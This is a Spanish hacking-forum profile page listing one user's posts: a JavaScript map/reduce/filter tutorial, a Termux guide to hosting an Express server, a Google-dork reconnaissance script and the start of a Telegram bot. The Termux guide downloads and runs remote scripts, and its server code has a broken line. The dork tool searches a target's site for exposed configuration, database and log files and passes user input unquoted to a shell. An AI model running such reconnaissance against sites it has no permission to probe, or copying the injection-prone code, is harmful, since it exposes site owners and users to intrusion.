elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Los 10 CVE más críticos (peligrosos) de 2020


  Mostrar Temas
Páginas: 1 [2] 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ... 19
11  Programación / Desarrollo Web / [javascript] Métodos map, reduce y filter explicados. Extendiendo String para añadirle map. en: 31 Marzo 2021, 02:46 am
Map, reduce y filter
A muchos programadores les cuesta entender o encontrar uso para el método
Código
  1. .map()
En este post vamos a programar el método, así podrás entender exactamente que es.

map
Para no ensuciar el array de javascript, vamos a crear una nueva versión del array extendiendo la clase.
Código
  1. class CustomArray extends Array {
  2.  map() {
  3.    return "metodo custom";                                              
  4.  }
  5. }

Ahora tenemos 2 clases array iguales. La de javascript y la nuestra. La nuestra es casi igual que la de javascript, solo cambia el método map.
Puedes comprobar que funciona con el siguiente código
Código
  1. class CustomArray extends Array {
  2.  map() {
  3.    return "metodo custom";
  4.  }
  5. }
  6.  
  7. let numeros = new CustomArray(1, 2, 3); // Crea un array custom
  8. let numeros2 = [1, 2, 3]; // Crea un array normal
  9. numeros.map( num => num + 1); // "metodo custom"
  10. numeros2.map( num => num + 1); // 2, 3, 4

En la primera llamada a map (nuestro método custom) no pasa nada especial porque nuestro método no tiene definido que acepte ningún parámetro, asique se ejecuta el método sin más ignorando los parámetros. En cambio en la segunda llamada a map (el .map() original de javascript) se toma la función como argumento y se le suma 1 a cada elemento del array.

Una función que se pasa por parámetro a otra función/método (con intención de que se ejecute dentro de la función llamada) se le conoce como callback.                                                               
Vamos a hacer que nuestro método acepte una función y la llame:
Código
  1. class CustomArray extends Array {
  2.  map(callback) { // acepta un parametro cualquiera
  3.    return callback("metodo custom"); // llamalo pasandole el texto como argumento
  4.  }
  5. }
  6.  
  7. let numeros = new CustomArray(1, 2, 3); // Crea un array custom
  8. let numeros2 = new Array(1, 2, 3); // Crea un array normal
  9.  
  10. numeros.map( num => num + 1 ); // "metodo custom1"
  11. numeros2.map( num => num + 1 ); // 2, 3, 4

Así añadimos el callback. Aceptamos que se pase una función como argumento de map, llamamos la función que se pasa usando nombreArgumento(); y le pasamos al argumento un argumento en la llamada tal que nombreArgumento("método custom");
Actualmente nuestro map solo añade 1 a nuestro texto, pero el objetivo es que sume 1 a todos los elementos del array. Para ello usaremos this para acceder al CustomArray y sus elementos:
Código
  1. class CustomArray extends Array {
  2.  map(callback) {
  3.    return callback(this);
  4.  }
  5. }
  6.  
  7. let numeros = new CustomArray(1, 2, 3);
  8. let numeros2 = new Array(1, 2, 3);
  9.  
  10. numeros.map( num => num + 1 ); // "1, 2, 31"
  11. numeros2.map( num => num + 1 ); // 2 , 3, 4

Al usar this como parámetro del callback accedemos al array y como no.se pueden sumar arrays y números, javascript opta por un tipo intermedio entre ambos que se pueda sumar, sumándose los strings "1, 2, 3" + "1". Lo que hace map es llamar a la función que le pasamos sobre cada elemento y nos retorna un array con los resultados. Asique acabamos el map con:
Código
  1. class CustomArray extends Array {
  2.  map(callback) {
  3.    for (let i = 0; i < this.length; ++i) {
  4.      this[i] = callback(this[i])
  5.    }
  6.    return this;
  7.  }
  8. }
  9.  
  10. let numeros = new CustomArray(1, 2, 3);
  11. let numeros2 = new Array(1, 2, 3);
  12.  
  13. numeros.map( num => num + 1 ); //2, 3, 4
  14. numeros2.map( num => num + 1); //2, 3, 4
Ya conseguimos crear nuestra versión del método map. Map es un método de los arrays, por lo que no puedes usarlo con otras clases como String.
Puedes modificar el código para extender la clase String y añadirle el método map:
Código
  1. class CustomString extends String {
  2.  map(callback) {
  3.    let aux = "";
  4.    for (let i = 0; i < this.length; ++i) {
  5.      aux += callback(this[i])
  6.    }
  7.    return aux;
  8.  }
  9.  
  10. }
  11.  
  12. const texto = new CustomString("hola");
  13.  
  14. texto.map(letra => letra + 1) // "h1o1l1a1"

Creo que queda claro que hace exactamente map. Aplica la funcion que le pasamos a cada elemento y nos retorna el resultado.
Es el mismo efecto que si hiciésemos:
Código
  1. let arr = [1, 2, 3];
  2. let auxiliar = [];
  3. const suma1 = argumento => argumento + 1;
  4.  
  5. auxiliar.push( suma1(arr[0]) );
  6. auxiliar.push( suma1(arr[1]) );
  7. auxiliar.push( suma1(arr[2]) );
  8.  
  9. console.log(auxiliar) // 2, 3, 4


reduce
El método reduce es prácticamente igual que map, pero en lugar de devolver todos los elementos devuelve solo el resultado de operar con ellos.
Código
  1. let numeros = [1, 2, 3];
  2. numeros.reduce( (res, num) => res + num); // 6
El código también es muy similar al de map, trata de realizar tu propia implementación y jugar pásandole distintos parámetros. Recuerda que estos ejemplos son básicos. Los métodos map, reduce y similares son más completos que estas implementaciones, puedes consultar algunos polyfills para hacerte una idea más cercana a todo lo que hace cada método.

filter
Con filter en lugar de retornar el resultado, se retorna o no el elemento del array dependiendo de si la condición que indiques se cumple o no. Por ejemplo puedes filtrar los elementos de un array para obtener solo los números pares:
Código
  1. let numeros = [1, 2, 3];
  2. numeros.filter( num => num % 2 == 0 ); // 2

Recuerda que se retorna un nuevo array, el original no es modificado.
12  Comunicaciones / Android / Como hacer público un servidor web express sobre node en arch linux termux android sin root. en: 31 Marzo 2021, 01:51 am
Como hacer público un servidor web express sobre node en arch linux termux android sin root.

1 - Instalar termux.
Puedes instalar termux directamente desde la PlayStore https://play.google.com/store/apps/details?id=com.termux

Si tu dipositivo no tiene PlayStore puedes descargar Termux en el siguiente enlace https://apps.evozi.com/apk-downloader/?id=com.termux

2 - Configurar Termux
Abre la app, escribe el comando termux-setup-storage y dale enter.
Te recomiendo también instalar los siguientes paquetes que utilizo para facilitar la instalación:
Código:
pkg install vim
pkg install quickjs
pkg install g++
pkg install nodejs                                                    
pkg install git
pkg install make
                                                                                                                         
Y también instalar el repo pointless donde se da soporte a paquetes como mongodb que no están disponibles directamente en los repos de Termux.
Código:
curl https://raw.githubusercontent.com/its-pointless/its-pointless.github.io/master/setup-pointless-repo.sh -o ~/../usr/spr.sh && cd ~/../usr/ && chmod +775 spr.sh && ./spr.sh && rm spr.sh
                     

3 - Instalar Arch Linux usando proot                                  
Proot emula las carpetas y utiliza algunos trucos para poder instalar una distribución de Linux sin necesidad de rootear. Escribe el siguiente comando y dale enter.                                                
Código:
pkg install proot && pkg install proot-distro && proot-distro install archlinux && proot-distro login archlinux
Aquí tienes más información si tienes curiosidad. https://wiki.termux.com/wiki/PRoot

4 - Añadir extensión a la Shell                                        
Nota: Este paso es totalmente prescindible. Es un programa que hice yo para manejar de forma más cómoda la shell y diferenciarla de otras. Vete al punto 5 si no te interesa.

Veras que cambia el mensaje de consola indicando que ya estás en Arch Linux [root@localhost]. El siguiente paso que voy a realizar es descargar una extensión para bash que trae atajos y otras utilidades. Este paso es opcional. Para instalar la extensión corre el comando:
Código:
curl https://raw.githubusercontent.com/StringManolo/SMBSE/main/.bashrc -o .bashrc && source .bashrc
Como utilizo este programa en distintos sistemas, incluyendo el propio termux, voy a modificar el archivo para que me muestre el nombre del sistema actual para el usuario root.
Corre el comando
Código:
v .bashrc && source .bashrc
Para que se abra el archivo a editar
Si ahora escribes /PS1 y presionas enter, se te movera el archivo a la parte del documento donde hay un código tal que:
Código:
PS1='\n\n${underlinedarkgray}${darkgray}(${blue}$(date +%H${darkgray}:${blue}%M${darkgray}:${blue}%S${darkgray}:${blue}%4N)${darkgray}) ${gree
n}$(pwd)${endc}\n> ';

Ahí voy a sustituir ${underlinegray} por ${darkblue}Arch Linux ${endc}
Si no sabes usar vim puedes borrar esa linea y pegar esto:
Código:
PS1='\n\n${darkblue}Arch Linux ${endc}${darkgray}(${blue}$(date +%H${darkgray}:${blue}%M${darkgray}:${blue}%S${darkgray}:${blue}%4N)${darkgray}) ${green}$(pwd)${endc}\n> ';

Para borrar la linea con vim posiciona el cursor encima del primer PS1=... y presiona dos veces la tecla d
Después manten pulsado el botón en el centro de la pantalla para que salga la opción de pegar.
El resultado tiene que quedar tal que:
Código:
# Custom Console                                                       
SMBSE_LOGME 'Setting PS1 and PS2 terminal indicators'
PS1='\n\n${darkblue}Arch Linux ${endc}${darkgray}(${blue}$(date +%H${darkgray}:${blue}%M${darkgray}:${blue}%S${darkgray}:${blue}%4N)${darkgray}) ${green}$(pwd)${endc}\n> ';
#PS1='\n\n[${blue}$(date +%H${endc}:${blue}%M${endc}:${blue}%S${endc}:${blue}%4N)${endc}] ${green}$(pwd)${endc}\n${blue}>${endc} '
PS2='${blue}.${endc}  ';

Una vez está así escribe :x
Y presiona enter para guardar los cambios.
Te quedará el mensaje de consola tal que:
Código:
Arch Linux (17:41:26:1553) /root
>

5 - Crear servidor con express y node.
Crea una carpeta para el servidor.
Código:
mkdir /srv/http/myNodeServer && cd /srv/http/myNodeServer
Crea el proyecto del servidor con el comando npm init
Rellena los datos que quieras. Yo solo he puesto archnode y presionado enter repetidamente.

Añade express al proyecto con el comando
Código:
npm install express

Modifica el código del servidor remplazando stringmanoloarch.tk por tu dominio en el siguiente comando (si es un comando) antes de correrlo:
Código:
echo 'const fs = require("fs");
const http = require("http");
const https = require("https");
const privateKey  = fs.readFileSync("/etc/letsencrypt/live/stringmanoloarch.tk/privkey.pem", "utf-8");
const certificate = fs.readFileSync("/etc/letsencrypt/live/stringmanoloarch.tk/fullchain.pem", "utf-8");
const ca = fs.readFileSync("const ca = fs.readFileSync("/etc/letsencrypt/live/stringmanoloarch.tk/chain.pem", "utf8");



const credentials = {key: privateKey, cert: certificate, ca: ca};
const express = require("express");
const app = express();

const cli = {};
for (let i in process.argv) {
  switch(process.argv[i]) {
    case "-p":
    case "--port-http":
      cli.port = process.argv[1 + +i];
    break;

    case "-p2":
    case "--port-https":
      cli.portHttps = process.argv[1 + +i];
    break;

    case "--host":
      cli.host = process.argv[1 + +i];
    break;
  }
}


if (!cli.port) cli.port = 8080;
if (!cli.portHttps) cli.portHttps = 8443;
if (!cli.host) cli.host = "127.0.0.1";

app.use(express.static("public"));

const httpServer = http.createServer(app);
const httpsServer = https.createServer(credentials, app);

httpServer.listen(cli.port);
httpsServer.listen(cli.portHttps);' > index.js

Crea también la carpeta desde la cual se serviran los archivos con el comando mkdir public y mete dentro una web de ejemplo tal que:
Código:
mkdir public && echo 'Hello!' > public/index.html

6 - Crea un dominio con freenom.
Ve a la web https://my.freenom.com/clientarea.php?action=domains registrate y crea un nuevo dominio.
Una vez loggeado dentro vete al apartado dominios https://my.freenom.com/domains.php e introduce ahí el nombre de dominio que quieras. Por ejemplo yo usaré stringmanoloarch.tk muchos nombres ya están siendo utilizados o no se pueden registrar gratuitamente, pero si poner tu nombre y una palabra por ejemplo, seguro que está disponible. Dale a chekout para confirmar la adquisición del nuevo dominio y en el menu desplegable donde dice 3 Months free cámbialo a 12 Months free. Marca la casilla para aceptar condiciones y términos y dale a Complete Order.
Ahora si vas al apartado https://my.freenom.com/clientarea.php?action=domains ahí tienes tu nuevo dominio para gestionarlo.

7 - Crear certificado.
Actualiza el sistema y los paquetes con el comando
Código:
pacman -Syu
Di que sí a las opciones de remplazo que te pregunte escribiendo y
Instala certbot
Código:
pacman -S certbot
Acepta la instalación escribiendo y

Genera un certificado manualmente con el comando
Código:
certbot certonly --manual --preferred-challenges dns
Te pedira el dominio, pon el que registrate en freenom.
Es posible que te pida el correo, introduce tu correo.
Escribe y para aceptar los terminos de uso
Escribe n para no compartir tu email publicamente

Entonces te saldrá un mensaje diciendo que demuestres que tienes control sobre el dominio de freenom con un registro TXT.
Para ello haces lo siguiente:
Ve a https://my.freenom.com/clientarea.php?action=domain
Pincha en manage freenom dns.
Pincha en edit nameservers.
Selecciona use default nameservers y pulsa en change nameservers.
Vuelve otra vez a darle en manage nameservers y ahora podrás agregar registros DNS a los servidores de freenom.

En el primer apartado pon el nombre del registro que indica certbot. En mi caso es _acme-challenge.stringmanoloarch.t
En el segundo apartado selecciona TXT como tipo de registro.
El tercer apartado (3600) no hace falta que lo cambies.
En el cuarto y último, debes añadir la cadena de caracteres que indica el certbot, en mi caso algo tal que 0V8MBE1iGEcgljH3PIox8Od_XaI-7FvjJi-BkM3beJY

Dale a save changes.

Antes de darle a enter al certbot, espera unos segundos para que se haga el registro público.

Tras dar enter recibirás un mensaje tal que:
Código:
Waiting for verification...
Cleaning up challenges

IMPORTANT NOTES:
 - Congratulations! Your certificate and chain have been saved at:
   /etc/letsencrypt/live/stringmanoloarch.tk/fullchain.pem
   Your key file has been saved at:
   /etc/letsencrypt/live/stringmanoloarch.tk/privkey.pem
   Your certificate will expire on 2021-05-23. To obtain a new or
   tweaked version of this certificate in the future, simply run
   certbot again. To non-interactively renew *all* of your
   certificates, run "certbot renew"
 - If you like Certbot, please consider supporting our work by:


8 - Usando freenom como ddns.

Haz clone y make del siguiente script que renueva dominios y actualiza la ip dinámica
Código:
git clone https://github.com/mkorthof/freenom-script.git && cd freenom-script

Edita el archivo freenom.conf y añade tu email y contraseña de la cuente de freenom
Código:
v freenom.conf

Una vez finalices corre el siguiente comando con tu dominio, en mi caso es:
Código:
./freenom.sh -c freenom.conf -u stringmanoloarch.tk

Si vas a los registros de freenom podras comprobar que se generó un registro A para tu dominio.

Pon live tu servidor volviendo a la carpeta anterior con cd ../ y corriendo el comando:
Código:
node index.js

Por defecto usa el puerto 8080 para http y 8443 para https.

Puedes pasar los puertos como argumentos del commando, por ejemplo.
Código:
node index.js -p 8081 -p2 8444

Si tienes los puertos abiertos podrás ver la web en el puerto correspondiente y tu dominio, si usas https verás el candadito verde. En mi caso: https://stringmanoloarch.tk:8443/

Si los configuraste y no puedes ver la web, utiliza el comando nmap para comprabar si están abiertos o no:
Código:
nmap tuIp -p80,443

9 - Apertura de puertos.
La forma de abrir puertos difiere entre routers o tipos de redes. Por lo cual no te puedo decir exactamente como debes hacerlo tu.
Si usas wifi: La forma usual de hacerlo es revisando la parte inferior del router donde vienen el usuario, contraseña y la dirección del panel de administración del router. Suelen ser http://192.168.0.1 o http://192.168.1.1
Una vez consigas acceder, dentro tendrás que buscar el apartado que te permita abrir los puertos. El apartado suele tener varias opciones. Puerto externo, Puerto interno, protocolo del puerto, dirección ip local...
El puerto externo es el puerto que deben poner los usuarios que quieran ver tu web. El navegador omite los puertos 80 y 443 para http y https en las urls, asique son esos los que probablemente te interese abrir. En el protocolo del puerto selecciona TCP si tienes la opción. En dirección ip te pide la dirección ip local del computador. Esta opción es para que el router sepa a que dispositivo de tu red enviar la conexión. Puedes buscarlo en el propio panel del router o usar el comando ipconfig para ver la dirección. Suele empezar por 192... Ponla, guarda los cambios y debería estar todo listo.

En caso de que uses datos móviles tienes 2 opciones. Preguntar a tu operador o buscar por internet si es posible (en tu compañía) abrir puertos con datos. O utilizar el programa ngrok.
Sigue los pasos de configuración del programa en su web, crea cuenta y añade el identificador que te dan en la web al ngrok. Depués solo tienes que correr el servidor web (dejarlo abierto) y correr el comando
Código:
ngrok http 80
13  Seguridad Informática / Hacking / [Aporte]Herramienta que realiza busquedas avanzadas(dorks) sobre un objetivo. en: 13 Febrero 2021, 01:09 am
Os traigo esta herramienta sencilla para buscar información en google.

Google puede detectar vuestra actividad como robots y no responder. En redes de casa suele funcionar.

Instalar:
  Necesitais tener quickjs y lynx instalados. Ocupan muy poco.
  Guardais el código como dorks.js y lo ejecutais con qjs dorks.js -t https://example.com -s

Está testeado que funciona en Linux y Termux.
No lo probé en windows pero es probable que también funcione.

Cita de: uso
usage: qjs dorks [options]
  -b  --backup-files         .bkf, .bkp, .bak, .old, .backup 
 
  -c  --config-files         .xml, .conf, .cnf, .reg, .inf, .rdp, .cfg, .txt, .ora, .ini, .env 
 
  -d  --directory-listing    index of dir list 
 
  -e  --exposed-databases    .sql, .dbf, .mdb 
 
  -g  --git                  github.com, gitlab.com 
 
  -h  --help                this message
 
  -l  --log                  .log 
 
  -L  --login-urls           login in url 
 
  -n  --number               phone numbers 
 
  -p  --public-documents     .doc, .docx, .odt, .rtf, .sxw, .psw, .ppt, .pptx, .pps, .csv 
 
  -P  --php-errors           .php errors in document 
 
      --pastes               pastebin.com, paste2.org, pastehtml.com, slexy.org, snipplr.com, snipt.net, textsnip.com, bitpaste.app, justpaste.it, heypasteit.com, hastebin.com, dpaste.org, dpaste.com, codepad.org, jsitor.com, codepen.io, jsfiddle.net, dotnetfiddle.net, phpfiddle.org, ide.geeksforgeeks.org, repl.it, ideone.com, paste.debian.net, paste.org, paste.org.ru, codebeautify.org, codeshare.io, trello.com 
 
      --php-info             .php info files 
 
  -s  --source               source code of target 
 
  -S  --sql-errors           sql syntax errors in document 
 
      --stackoverflow        stackoverflow.com 
 
  -t  --target               Your target. Can be a domain, a full url, etc. Based on the arguments of your chose. 
 
  -v  --view                 text representation of the target.

Código
  1. import * as std from "std";
  2. import * as os from "os";
  3.  
  4. let run = command => {
  5.  let p = std.popen(command, "r"),
  6.  msg = "",
  7.  r = "";
  8.  while(( r = p.getline() ) != null) {
  9.    msg += r + "\n";
  10.  }
  11.  return msg;
  12. }                                                                                                                            
  13.  
  14. let cli = {};
  15. cli.COLORS = {                                                    
  16.  RED: "\x1b[31m",
  17.  RESET: "\x1b[0m",
  18.  YELLOW:"\x1b[33m",
  19.  BLUE: "\x1b[34m",
  20.  GREEN: "\x1b[32m"                                            
  21. };
  22.  
  23. for (let i in scriptArgs) {
  24. switch(scriptArgs[i]) {
  25.    case "-b":                                                      
  26.    case "--backup-files":
  27.      cli.backupFiles = true;
  28.    break;
  29.  
  30.    case "-c":
  31.    case "--config-files":                                            
  32.      cli.configFiles = true;
  33.    break;
  34.  
  35.    case "-d":
  36.    case "--directory-listing":
  37.      cli.directoryListing = true;
  38.    break;
  39.  
  40.    case "-e":
  41.    case "--exposed-databases":
  42.      cli.exposedDatabases = true;
  43.    break;
  44.  
  45.    case "-g":
  46.    case "--git":
  47.      cli.git = true;
  48.    break;
  49.  
  50.    case "-l":
  51.    case "--log":
  52.      cli.logFiles = true;
  53.    break;
  54.  
  55.    case "-L":
  56.    case "--login-urls":
  57.      cli.loginUrls = true;
  58.    break;
  59.  
  60.    case "-p":
  61.    case "--public-documents":
  62.      cli.publicDocuments = true;
  63.    break;
  64.  
  65.    case "-P":
  66.    case "--php-errors":
  67.      cli.phpErrors = true;
  68.    break;
  69.  
  70.    case "--php-info":
  71.      cli.phpInfo = true;
  72.    break;
  73.  
  74.    case "--pastes":
  75.      cli.pastes = true;
  76.    break;
  77.  
  78.    case "-s":
  79.    case "--source":
  80.      cli.source = true;
  81.    break;
  82.  
  83.    case "-S":
  84.    case "--sql-errors":
  85.      cli.sqlErrors = true;
  86.    break;
  87.  
  88.    case "--stackoverflow":
  89.      cli.stackoverflow = true;
  90.    break;
  91.  
  92.    case "-t":
  93.    case "--target":
  94.      cli.target = encodeURIComponent(scriptArgs[+i + +1]);
  95.    break;
  96.  
  97.    case "-v":
  98.    case "--view":
  99.      cli.view = true;
  100.    break;
  101.  
  102.    case "-h":
  103.    case "--help":
  104.      console.log(`
  105.  
  106. usage: qjs dorks [options]
  107.  -b  --backup-files         .bkf, .bkp, .bak, .old, .backup
  108.  
  109.  -c  --config-files         .xml, .conf, .cnf, .reg, .inf, .rdp, .cfg, .txt, .ora, .ini, .env
  110.  
  111.  -d  --directory-listing    index of dir list
  112.  
  113.  -e  --exposed-databases    .sql, .dbf, .mdb
  114.  
  115.  -g  --git                  github.com, gitlab.com
  116.  
  117.  -h  --help                 this message
  118.  
  119.  -l  --log                  .log
  120.  
  121.  -L  --login-urls           login in url
  122.  
  123.  -p  --public-documents     .doc, .docx, .odt, .rtf, .sxw, .psw, .ppt, .pptx, .pps, .csv
  124.  
  125.  -P  --php-errors           .php errors in document
  126.  
  127.      --pastes               pastebin.com, paste2.org, pastehtml.com, slexy.org, snipplr.com, snipt.net, textsnip.com, bitpaste.app, justpaste.it, heypasteit.com, hastebin.com, dpaste.org, dpaste.com, codepad.org, jsitor.com, codepen.io, jsfiddle.net, dotnetfiddle.net, phpfiddle.org, ide.geeksforgeeks.org, repl.it, ideone.com, paste.debian.net, paste.org, paste.org.ru, codebeautify.org, codeshare.io, trello.com
  128.  
  129.      --php-info             .php info files
  130.  
  131.  -s  --source               source code of target
  132.  
  133.  -S  --sql-errors           sql syntax errors in document
  134.  
  135.      --stackoverflow        stackoverflow.com
  136.  
  137.  -t  --target               Your target. Can be a domain, a full url, etc. Based on the arguments of your chose.
  138.  
  139.  -v  --view                 text representation of the target.
  140.  
  141.  
  142. `);
  143.  std.exit(0);
  144.  }
  145. }
  146.  
  147. let checkResults = res => {
  148.  /* Check if connection error */
  149.  
  150.  /* Check if captcha */
  151.    /* Use good proxy chain list to evade captcha */
  152.    /* Instruct user to evade if dynamic ip */
  153.  
  154.  /* Check if not found */
  155.  if (new RegExp("ningún resultado. Sugerencias: ", "gim").test(res.replace(/\n/gm, " "))) {
  156.    throw `${cli.COLORS.GREEN}Everything fine but nothing found.${cli.COLORS.RESET}`
  157.  } else {
  158.    console.log(res);
  159.  }
  160.  
  161.  /* check if more than one page of results */
  162. }
  163.  
  164. if (!cli.target) {
  165.  throw `Missing target.
  166.  write ${cli.COLORS.RED}qjs dorks --help${cli.COLORS.RESET} to show usage.
  167.  `;
  168. }
  169.  
  170. if (cli.backupFiles) {
  171.  checkResults(run(`lynx --dump 'https://www.google.com/search?q=site:${cli.target}+ext:bkf+|+ext:bkp+|+ext:bak+|+ext:old+|+ext:backup'`));
  172. }
  173.  
  174. else if (cli.configFiles) {
  175.  checkResults(run(`lynx --dump 'https://www.google.com/search?q=site:${cli.target}+ext:xml+|+ext:conf+|+ext:cnf+|+ext:reg+|+ext:inf+|+ext:rdp+|+ext:cfg+|+ext:txt+|+ext:ora+|+ext:ini+|+ext:env'`));
  176. }
  177.  
  178. else if (cli.directoryListing) {
  179.  checkResults(run(`lynx --dump 'https://www.google.com/search?q=site:${cli.target}+intitle:index.of'`));
  180. } else if (cli.exposedDatabases) {
  181.  checkResults(run(`lynx --dump 'https://www.google.com/search?q=site:${cli.target}+ext:sql+|+ext:dbf+|+ext:mdb'`));
  182. }
  183.  
  184. else if (cli.exposedDatabases) {
  185.  checkResults(run(`lynx --dump 'https://www.google.com/search?q=site:${cli.target}+intext:'"'"'sql syntax near'"'"'+|+intext:'"'"'syntax error has occurred'"'"'+|+intext:'"'"'incorrect syntax near'"'"'+|+intext:'"'"'unexpected end of SQL command'"'"'+|+intext:'"'"'Warning: mysql_connect()'"'"'+|+intext:'"'"'Warning: mysql_query()'"'"'+|+intext:'"'"'Warning: pg_connect()'"'"''`));
  186. }
  187.  
  188. else if (cli.git) {
  189.  checkResults(run(`lynx --dump 'https://www.google.com/search?q="${cli.target}"+site:github.com+|+site:gitlab.com'`));
  190. }
  191.  
  192. else if (cli.logFiles) {
  193.  checkResults(run(`lynx --dump 'https://www.google.com/search?q=site:${cli.target}+ext:log'`));
  194. }
  195.  
  196. else if (cli.loginUrls) {
  197.  checkResults(run(`lynx --dump 'https://www.google.com/search?q=site:${cli.target}+inurl:login+|+inurl:ingresar'`));
  198. }
  199.  
  200. else if (cli.publicDocuments) {
  201.  checkResults(run(`lynx --dump 'https://www.google.com/search?q=site:${cli.target}+ext:doc+|+ext:docx+|+ext:odt+|+ext:rtf+|+ext:sxw+|+ext:psw+|+ext:ppt+|+ext:pptx+|+ext:pps+|+ext:csv'`));
  202. }
  203.  
  204. else if (cli.pastes) {
  205.  checkResults(run(`lynx --dump 'https://www.google.com/search?q=${cli.target}+site:pastebin.com+|+site:paste2.org+|+site:pastehtml.com+|+site:slexy.org+|+site:snipplr.com+|+site:snipt.net+|+site:textsnip.com+|+site:bitpaste.app+|+site:justpaste.it+|+site:heypasteit.com+|+site:hastebin.com+|+site:dpaste.org+|+site:dpaste.com+|+site:codepad.org+|+site:jsitor.com+|+site:codepen.io+|+site:jsfiddle.net+|+site:dotnetfiddle.net+|+site:phpfiddle.org+|+site:ide.geeksforgeeks.org+|+site:repl.it+|+site:ideone.com+|+site:paste.debian.net+|+site:paste.org+|+site:paste.org.ru+|+site:codebeautify.org +|+site:codeshare.io+|+site:trello.com'`));
  206. }
  207.  
  208. else if (cli.phpErrors) {
  209.  checkResults(run(`lynx --dump 'https://www.google.com/search?q=site:${cli.target}+'"'"'PHP Parse error'"'"'+|+'"'"'PHP Warning'"'"'+|+'"'"'PHP Error'"'"''`));
  210. }
  211.  
  212. else if (cli.phpInfo) {
  213.  checkResults(run(`lynx --dump 'https://www.google.com/search?q=site:${cli.target}+ext:php+intitle:phpinfo+'"'"'published by the PHP Group'"'"''`));
  214. }
  215.  
  216. else if (cli.source) {
  217.  console.log(run(`lynx --source ${decodeURIComponent(cli.target)}`));
  218. }
  219.  
  220. else if (cli.sqlErrors) {
  221.  checkResults(run(`lynx --dump 'https://www.google.com/search?q=site:${cli.target}+intext:'"'"'sql syntax near'"'"'+|+intext:'"'"'syntax error has occurred'"'"'+|+intext:'"'"'incorrect syntax near'"'"'+|+intext:'"'"'unexpected end of SQL command'"'"'+|+intext:'"'"'Warning: mysql_connect()'"'"'+|+intext:'"'"'Warning: mysql_query()'"'"'+|+intext:'"'"'Warning: pg_connect()'"'"''`));
  222. }
  223.  
  224. else if (cli.stackoverflow) {
  225.  checkResults(run(`lynx --dump 'https://www.google.com/search?q=${cli.target}+site:stackoverflow.com'`));
  226. }
  227.  
  228. else if (cli.view) {
  229.  console.log(run(`lynx --dump '${decodeURIComponent(cli.target)}'`));
  230. }
  231.  
  232. else {
  233.  throw `Missing argument. You need at least 1 argument more.
  234.  write ${cli.COLORS.RED}qjs dorks --help${cli.COLORS.RESET} to show usage.
  235.  
  236.  `;
  237. }

Podeis añadirle vuestros dorks al código siguiente el patrón.
14  Programación / Desarrollo Web / [Aporte] Bot de Telegram en Quickjs. (Construye el tuyo) en: 13 Enero 2021, 06:03 am
Me apetecía programar una IA en javascript y necesitaba alguna forma de pasarle input, asique decidí hacer un bot de telegram.
Como ya van varios bots que hago, alguno salió algo buggeado y posiblemente en el futuro haga otros parecidos, decidí hacer un bot/nucleo a partir del cual pueda escribir cualquier bot.

Asique este bot tiene lo básico y mínimo indispensable que se puede necesitar para un bot. Le metí varios argumentos cli básicos para configurar el bot, meterle el token y ver su uso.
También le metí que responda al telegram a unos pocos comandos de ejemplo.

De momento no encontré ningún bug. Si encuentro alguno o meto algún cambio interesante o importante, lo añadiré aquí.

Código
  1. import * as std from "std";
  2. import * as os from "os";
  3.  
  4. let run = command => {
  5.  let p = std.popen(command, "r"),
  6.  msg = "",
  7.  r = "";
  8.  
  9.  while(( r = p.getline() ) != null) {
  10.    msg += r + "\n";
  11.  }
  12.  return msg;
  13. }
  14.  
  15. let cli = {};
  16. cli.COLORS = {
  17.  RED: "\x1b[31m",
  18.  RESET: "\x1b[0m",
  19.  YELLOW:"\x1b[33m",
  20.  BLUE: "\x1b[34m",
  21.  GREEN: "\x1b[32m"
  22. };
  23.  
  24. for (let i in scriptArgs) {
  25.  switch(scriptArgs[i]) {
  26.    case "-t":
  27.    case "--token":
  28.      cli.token = scriptArgs[+i + +1];
  29.    break;
  30.  
  31.    case "-s":
  32.    case "--save":
  33.      let fd = std.open(".token", "w");
  34.      fd.puts(cli.token);
  35.      fd.close();
  36.    break;
  37.  
  38.    case "-l":
  39.    case "--load":
  40.      cli.token = std.loadFile(".token");
  41.    break;
  42.  
  43.    case "-h":
  44.    case "--help":
  45.      throw `
  46.  
  47. usage: qjs tgbot.js [options]
  48.  -t  --token            Telegram Bot Api Token. https://t.me/BotFather
  49.  -s  --save             Save the token internally to start the bot in the future without manually provide the token each time.
  50.  -l  --load             Use the saved token to start the bot.
  51.  -h  --help             This message.
  52.  -v  --verbose          Show basic feedback to the command line interface.
  53.  -w  --wait             Bot delay in seconds. (Can process multiple messages at once, so you don't need a really low number to don't fallback).
  54.  
  55. Examples:
  56. qjs tgbot.js -t 192829292:iqidkwiexampleunvalidtokeniwjwusjwis -s -v
  57.  
  58. qjs tgbot.js -l -v
  59.  
  60. qjsc -o ctgbot tgbot.js && cp tgbot ~/../usr/bin/
  61. tgbot -l -w 2 -v
  62.  
  63. `;
  64.  
  65.    case "-v":
  66.    case "--verbose":
  67.      cli.v = true;;
  68.    break;
  69.  
  70.    case "-w":
  71.    case "--wait":
  72.      cli.wait = scriptArgs[+i + +1];
  73.    break;
  74.  }
  75. }
  76.  
  77.  
  78. if (!cli.token) {
  79.  throw `${cli.COLORS.RED}No has introducido tu token de telegram.${cli.COLORS.RESET}
  80.  
  81. Si aún no pusiste tu token.
  82. Inicia con: qjs tgbot.js -t 183828181:kqnsiwnskwkziqnsoqnsiqn -s
  83.  
  84. Si ya introduciste tu token.
  85. Inicia con: qjs tgbot.js -l
  86.  
  87. Si aún no tienes un token.
  88. Visita ${cli.COLORS.BLUE}https://t.me/BotFather${cli.COLORS.RESET} y escríbele /newBot
  89.  
  90.  
  91. ESCRIBE ${cli.COLORS.YELLOW}qjs tgbot.js -h${cli.COLORS.RESET} PARA OBTENER LISTA DE COMANDOS.`;
  92. }
  93.  
  94. let bot = () => {
  95. let api = run(`curl https://api.telegram.org/bot${cli.token}/getUpdates --silent`);
  96.  
  97. let apiJson = JSON.parse(api);
  98.  
  99. if (apiJson.ok !== true) {
  100.  throw `Telegram Api Returning An Error:
  101. ${api}`;
  102. }
  103.  
  104. if (!apiJson.result) {
  105.  throw `No results to parse:
  106. ${api}`;
  107. }
  108.  
  109. let process = (text, username, chatId) => {
  110.  let response = "";
  111.  
  112.  
  113.  if (text.substr(0,1) == "/") {
  114.    let recv = text.substring(1).toLowerCase();
  115.    switch(recv) {
  116.      case "start":
  117.        response = "Comandos Disponibles:\n/Placeholder1 Haz esto\n/Placeholder2 Haz Aquello\n";
  118.      break;
  119.  
  120.      case "hola":
